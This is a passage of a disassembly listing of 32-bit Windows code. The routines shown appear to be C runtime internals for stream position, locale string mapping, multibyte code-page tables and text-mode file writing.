		mov	[ebp+var_4], eax
		jl	short loc_41C56B
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41C522
		sub	eax, [edi+4]
		jmp	loc_41C634
; ---------------------------------------------------------------------------


loc_41C522:				; CODE XREF: sub_41C4E1+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41C55C
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_46CE20[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41C573
		mov	edx, ecx


loc_41C54D:				; CODE XREF: sub_41C4E1+79j
		cmp	edx, eax
		jnb	short loc_41C573
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41C559
		inc	[ebp+var_8]


loc_41C559:				; CODE XREF: sub_41C4E1+73j
		inc	edx
		jmp	short loc_41C54D
; ---------------------------------------------------------------------------


loc_41C55C:				; CODE XREF: sub_41C4E1+50j
		test	dl, 80h
		jnz	short loc_41C573
		mov	dword_46BB04, 16h


loc_41C56B:				; CODE XREF: sub_41C4E1+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41C634
; ---------------------------------------------------------------------------


loc_41C573:				; CODE XREF: sub_41C4E1+68j
					; sub_41C4E1+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41C581
		mov	eax, [ebp+var_8]
		jmp	loc_41C634
; ---------------------------------------------------------------------------


loc_41C581:				; CODE XREF: sub_41C4E1+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41C62C
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41C59A
		and	[ebp+var_8], edx
		jmp	loc_41C62C
; ---------------------------------------------------------------------------


loc_41C59A:				; CODE XREF: sub_41C4E1+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46CE20h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41C626
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41C447
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41C5ED
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_41C5D8:				; CODE XREF: sub_41C4E1+104j
		cmp	eax, ecx
		jnb	short loc_41C5E7
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41C5E4
		inc	[ebp+arg_0]


loc_41C5E4:				; CODE XREF: sub_41C4E1+FEj
		inc	eax
		jmp	short loc_41C5D8
; ---------------------------------------------------------------------------


loc_41C5E7:				; CODE XREF: sub_41C4E1+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41C621
; ---------------------------------------------------------------------------


loc_41C5ED:				; CODE XREF: sub_41C4E1+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41C447
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41C614
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41C614
		test	ch, 4
		jz	short loc_41C617


loc_41C614:				; CODE XREF: sub_41C4E1+124j
					; sub_41C4E1+12Cj
		mov	eax, [edi+18h]


loc_41C617:				; CODE XREF: sub_41C4E1+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41C621:				; CODE XREF: sub_41C4E1+10Aj
		jz	short loc_41C626
		inc	[ebp+arg_0]


loc_41C626:				; CODE XREF: sub_41C4E1+D9j
					; sub_41C4E1:loc_41C621j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41C62C:				; CODE XREF: sub_41C4E1+A4j
					; sub_41C4E1+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41C634:				; CODE XREF: sub_41C4E1+3Cj
					; sub_41C4E1+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C4E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C639	proc near		; CODE XREF: sub_417033+A3p
					; sub_41B539+A5p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4218A8
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_46BB90, edi
		jnz	short loc_41C6AF
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4218A0
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_421194	; LCMapStringW
		test	eax, eax
		jz	short loc_41C68D
		mov	dword_46BB90, ebx
		jmp	short loc_41C6AF
; ---------------------------------------------------------------------------


loc_41C68D:				; CODE XREF: sub_41C639+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_43B668
		push	esi
		push	edi
		call	dword_421190	; LCMapStringA
		test	eax, eax
		jz	loc_41C7C7
		mov	dword_46BB90, 2


loc_41C6AF:				; CODE XREF: sub_41C639+2Ej
					; sub_41C639+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41C6C4
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_420396
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_41C6C4:				; CODE XREF: sub_41C639+79j
		mov	eax, dword_46BB90
		cmp	eax, 2
		jnz	short loc_41C6EB
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421190	; LCMapStringA
		jmp	loc_41C7C9
; ---------------------------------------------------------------------------


loc_41C6EB:				; CODE XREF: sub_41C639+93j
		cmp	eax, 1
		jnz	loc_41C7C7
		cmp	[ebp+arg_18], edi
		jnz	short loc_41C701
		mov	eax, dword_46BBAC
		mov	[ebp+arg_18], eax


loc_41C701:				; CODE XREF: sub_41C639+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_421064	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41C7C7
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_415B90
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41C75C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_41C75C:				; CODE XREF: sub_41C639+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41C7C7
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_421064	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41C7C7
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421194	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41C7C7
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41C7DB
		cmp	[ebp+arg_14], edi
		jz	loc_41C856
		cmp	esi, [ebp+arg_14]
		jg	short loc_41C7C7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421194	; LCMapStringW
		test	eax, eax
		jnz	loc_41C856


loc_41C7C7:				; CODE XREF: sub_41C639+66j
					; sub_41C639+B5j ...
		xor	eax, eax


loc_41C7C9:				; CODE XREF: sub_41C639+ADj
					; sub_41C639+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C7DB:				; CODE XREF: sub_41C639+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_415B90
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41C80F
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_41C80F:				; CODE XREF: sub_41C639+1C2j
		cmp	ebx, edi
		jz	short loc_41C7C7
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421194	; LCMapStringW
		test	eax, eax
		jz	short loc_41C7C7
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41C836
		push	edi
		push	edi
		jmp	short loc_41C83C
; ---------------------------------------------------------------------------


loc_41C836:				; CODE XREF: sub_41C639+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41C83C:				; CODE XREF: sub_41C639+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_421138	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41C7C7


loc_41C856:				; CODE XREF: sub_41C639+165j
					; sub_41C639+188j
		mov	eax, esi
		jmp	loc_41C7C9
sub_41C639	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C85D	proc near		; CODE XREF: sub_41CC21+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41C9F6	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_46CF24
		mov	[ebp+arg_0], esi
		jz	loc_41C9EA
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41C9E0
		xor	edx, edx
		mov	eax, offset dword_43A790


loc_41C891:				; CODE XREF: sub_41C85D+41j
		cmp	[eax], esi
		jz	short loc_41C907
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43A880
		jl	short loc_41C891
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_421198	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41C9D8
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_46D040
		cmp	[ebp+var_18], 1
		mov	dword_46CF24, esi
		rep stosd
		stosb
		mov	dword_46D144, ebx
		jbe	loc_41C9C6
		cmp	[ebp+var_12], 0
		jz	loc_41C99C
		lea	ecx, [ebp+var_11]


loc_41C8E4:				; CODE XREF: sub_41C85D+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41C99C
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41C8F5:				; CODE XREF: sub_41C85D+A8j
		cmp	eax, edx
		ja	loc_41C990
		or	byte_46D041[eax], 4
		inc	eax
		jmp	short loc_41C8F5
; ---------------------------------------------------------------------------


loc_41C907:				; CODE XREF: sub_41C85D+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_46D040
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43A7A0[esi]


loc_41C923:				; CODE XREF: sub_41C85D+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41C956


loc_41C92A:				; CODE XREF: sub_41C85D+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41C956
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41C94F
		mov	edx, [ebp+var_4]
		mov	dl, byte_43A788[edx]


loc_41C944:				; CODE XREF: sub_41C85D+F0j
		or	byte_46D041[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41C944


loc_41C94F:				; CODE XREF: sub_41C85D+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41C92A


loc_41C956:				; CODE XREF: sub_41C85D+CBj
					; sub_41C85D+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41C923
		mov	eax, [ebp+arg_0]
		mov	dword_46CF3C, 1
		push	eax
		mov	dword_46CF24, eax
		call	sub_41CA40
		lea	esi, dword_43A794[esi]
		mov	edi, offset dword_46CF30
		movsd
		movsd
		pop	ecx
		mov	dword_46D144, eax
		movsd
		jmp	short loc_41C9E5
; ---------------------------------------------------------------------------


loc_41C990:				; CODE XREF: sub_41C85D+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41C8E4


loc_41C99C:				; CODE XREF: sub_41C85D+7Ej
					; sub_41C85D+8Bj
		push	1
		pop	eax


loc_41C99F:				; CODE XREF: sub_41C85D+14Fj
		or	byte_46D041[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41C99F
		push	esi
		call	sub_41CA40
		pop	ecx
		mov	dword_46D144, eax
		mov	dword_46CF3C, 1
		jmp	short loc_41C9CC
; ---------------------------------------------------------------------------


loc_41C9C6:				; CODE XREF: sub_41C85D+74j
		mov	dword_46CF3C, ebx


loc_41C9CC:				; CODE XREF: sub_41C85D+167j
		xor	eax, eax
		mov	edi, offset dword_46CF30
		stosd
		stosd
		stosd
		jmp	short loc_41C9E5
; ---------------------------------------------------------------------------


loc_41C9D8:				; CODE XREF: sub_41C85D+51j
		cmp	dword_46BBB4, ebx
		jz	short loc_41C9EE


loc_41C9E0:				; CODE XREF: sub_41C85D+27j
		call	sub_41CA73


loc_41C9E5:				; CODE XREF: sub_41C85D+131j
					; sub_41C85D+179j
		call	sub_41CA9C


loc_41C9EA:				; CODE XREF: sub_41C85D+1Dj
		xor	eax, eax
		jmp	short loc_41C9F1
; ---------------------------------------------------------------------------


loc_41C9EE:				; CODE XREF: sub_41C85D+181j
		or	eax, 0FFFFFFFFh


loc_41C9F1:				; CODE XREF: sub_41C85D+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C85D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C9F6	proc near		; CODE XREF: sub_41C85D+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_46BBB4, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41CA16
		mov	dword_46BBB4, 1
		jmp	dword_4211A0
; ---------------------------------------------------------------------------


loc_41CA16:				; CODE XREF: sub_41C9F6+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41CA2B
		mov	dword_46BBB4, 1
		jmp	dword_42119C
; ---------------------------------------------------------------------------


loc_41CA2B:				; CODE XREF: sub_41C9F6+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41CA3F
		mov	eax, dword_46BBAC
		mov	dword_46BBB4, 1

locret_41CA3F:				; CODE XREF: sub_41C9F6+38j
		retn
sub_41C9F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA40	proc near		; CODE XREF: sub_41C85D+118p
					; sub_41C85D+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41CA6D
		sub	eax, 4
		jz	short loc_41CA67
		sub	eax, 0Dh
		jz	short loc_41CA61
		dec	eax
		jz	short loc_41CA5B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41CA5B:				; CODE XREF: sub_41CA40+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41CA61:				; CODE XREF: sub_41CA40+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41CA67:				; CODE XREF: sub_41CA40+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41CA6D:				; CODE XREF: sub_41CA40+9j
		mov	eax, 411h
		retn
sub_41CA40	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA73	proc near		; CODE XREF: sub_41C85D:loc_41C9E0p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_46D040
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_46CF30
		mov	dword_46CF24, eax
		mov	dword_46CF3C, eax
		mov	dword_46D144, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41CA73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA9C	proc near		; CODE XREF: sub_41C85D:loc_41C9E5p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_46CF24
		call	dword_421198	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41CBD5
		xor	eax, eax
		mov	esi, 100h


loc_41CAC6:				; CODE XREF: sub_41CA9C+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41CAC6
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41CB17
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41CAE5:				; CODE XREF: sub_41CA9C+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41CB0C
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41CB0C:				; CODE XREF: sub_41CA9C+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41CAE5
		pop	edi
		pop	ebx


loc_41CB17:				; CODE XREF: sub_41CA9C+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_46D144
		push	dword_46CF24
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41DA93
		push	0
		lea	eax, [ebp+var_214]
		push	dword_46CF24
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_46D144
		call	sub_41C639
		push	0
		lea	eax, [ebp+var_314]
		push	dword_46CF24
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_46D144
		call	sub_41C639
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41CB92:				; CODE XREF: sub_41CA9C+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41CBB0
		or	byte_46D041[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41CBA8:				; CODE XREF: sub_41CA9C+127j
		mov	byte_46CF40[eax], dl
		jmp	short loc_41CBCC
; ---------------------------------------------------------------------------


loc_41CBB0:				; CODE XREF: sub_41CA9C+FCj
		test	dl, 2
		jz	short loc_41CBC5
		or	byte_46D041[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41CBA8
; ---------------------------------------------------------------------------


loc_41CBC5:				; CODE XREF: sub_41CA9C+117j
		and	byte_46CF40[eax], 0


loc_41CBCC:				; CODE XREF: sub_41CA9C+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41CB92
		jmp	short loc_41CC1E
; ---------------------------------------------------------------------------


loc_41CBD5:				; CODE XREF: sub_41CA9C+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41CBDC:				; CODE XREF: sub_41CA9C+180j
		cmp	eax, 41h
		jb	short loc_41CBFA
		cmp	eax, 5Ah
		ja	short loc_41CBFA
		or	byte_46D041[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41CBF2:				; CODE XREF: sub_41CA9C+174j
		mov	byte_46CF40[eax], cl
		jmp	short loc_41CC19
; ---------------------------------------------------------------------------


loc_41CBFA:				; CODE XREF: sub_41CA9C+143j
					; sub_41CA9C+148j
		cmp	eax, 61h
		jb	short loc_41CC12
		cmp	eax, 7Ah
		ja	short loc_41CC12
		or	byte_46D041[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41CBF2
; ---------------------------------------------------------------------------


loc_41CC12:				; CODE XREF: sub_41CA9C+161j
					; sub_41CA9C+166j
		and	byte_46CF40[eax], 0


loc_41CC19:				; CODE XREF: sub_41CA9C+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41CBDC


loc_41CC1E:				; CODE XREF: sub_41CA9C+137j
		pop	esi
		leave
		retn
sub_41CA9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC21	proc near		; CODE XREF: sub_41D05F+9p
					; sub_41D0B7+Dp ...
		cmp	dword_46D174, 0
		jnz	short locret_41CC3C
		push	0FFFFFFFDh
		call	sub_41C85D
		pop	ecx
		mov	dword_46D174, 1

locret_41CC3C:				; CODE XREF: sub_41CC21+7j
		retn
sub_41CC21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC3D	proc near		; CODE XREF: sub_4171E8+2Bp
					; sub_4171E8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_46CF3C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41CC61
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_416BE0
		add	esp, 0Ch
		jmp	short loc_41CCC4
; ---------------------------------------------------------------------------


loc_41CC61:				; CODE XREF: sub_41CC3D+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41CCA6
		mov	ecx, [ebp+arg_4]


loc_41CC6C:				; CODE XREF: sub_41CC3D+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_46D041[esi], 4
		mov	[edi], al
		jz	short loc_41CC90
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41CC9C
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41CCA2
		jmp	short loc_41CC96
; ---------------------------------------------------------------------------


loc_41CC90:				; CODE XREF: sub_41CC3D+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41CCA6


loc_41CC96:				; CODE XREF: sub_41CC3D+51j
		test	edx, edx
		jnz	short loc_41CC6C
		jmp	short loc_41CCA6
; ---------------------------------------------------------------------------


loc_41CC9C:				; CODE XREF: sub_41CC3D+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41CCA6
; ---------------------------------------------------------------------------


loc_41CCA2:				; CODE XREF: sub_41CC3D+4Fj
		and	byte ptr [edi-2], 0


loc_41CCA6:				; CODE XREF: sub_41CC3D+2Aj
					; sub_41CC3D+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41CCC1
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41CCC1:				; CODE XREF: sub_41CC3D+6Fj
		mov	eax, [ebp+arg_0]


loc_41CCC4:				; CODE XREF: sub_41CC3D+22j
		pop	edi
		pop	ebp
		retn
sub_41CC3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCC7	proc near		; CODE XREF: sub_41761F+A2p
					; sub_417C57+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_46CF20
		push	esi
		push	edi
		jnb	loc_41CE5B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46CE20h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41CE5B
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41CD18


loc_41CD11:				; CODE XREF: sub_41CCC7+177j
		xor	eax, eax
		jmp	loc_41CE6F
; ---------------------------------------------------------------------------


loc_41CD18:				; CODE XREF: sub_41CCC7+48j
		test	al, 20h
		jz	short loc_41CD28
		push	2
		push	edi
		push	ecx
		call	sub_41C447
		add	esp, 0Ch


loc_41CD28:				; CODE XREF: sub_41CCC7+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41CDF7
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41CE2F


loc_41CD48:				; CODE XREF: sub_41CCC7+F5j
		lea	eax, [ebp+var_414]


loc_41CD4E:				; CODE XREF: sub_41CCC7+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41CD82
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41CD6D
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41CD6D:				; CODE XREF: sub_41CCC7+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41CD4E


loc_41CD82:				; CODE XREF: sub_41CCC7+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_421070	; WriteFile
		test	eax, eax
		jz	short loc_41CDEC
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41CDBE
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41CD48


loc_41CDBE:				; CODE XREF: sub_41CCC7+EAj
					; sub_41CCC7+12Ej
		xor	edi, edi


loc_41CDC0:				; CODE XREF: sub_41CCC7+150j
					; sub_41CCC7+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41CE56
		cmp	[ebp+arg_0], edi
		jz	short loc_41CE2F
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41CE24
		mov	dword_46BB04, 9
		mov	dword_46BB08, eax
		jmp	loc_41CE6C
; ---------------------------------------------------------------------------


loc_41CDEC:				; CODE XREF: sub_41CCC7+E0j
		call	dword_421088	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41CDBE
; ---------------------------------------------------------------------------


loc_41CDF7:				; CODE XREF: sub_41CCC7+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_421070	; WriteFile
		test	eax, eax
		jz	short loc_41CE19
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41CDC0
; ---------------------------------------------------------------------------


loc_41CE19:				; CODE XREF: sub_41CCC7+145j
		call	dword_421088	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41CDC0
; ---------------------------------------------------------------------------


loc_41CE24:				; CODE XREF: sub_41CCC7+10Fj
		push	[ebp+arg_0]
		call	sub_41CE74
		pop	ecx
		jmp	short loc_41CE6C
; ---------------------------------------------------------------------------


loc_41CE2F:				; CODE XREF: sub_41CCC7+7Bj
					; sub_41CCC7+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41CE44
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41CD11


loc_41CE44:				; CODE XREF: sub_41CCC7+16Fj
		mov	dword_46BB04, 1Ch
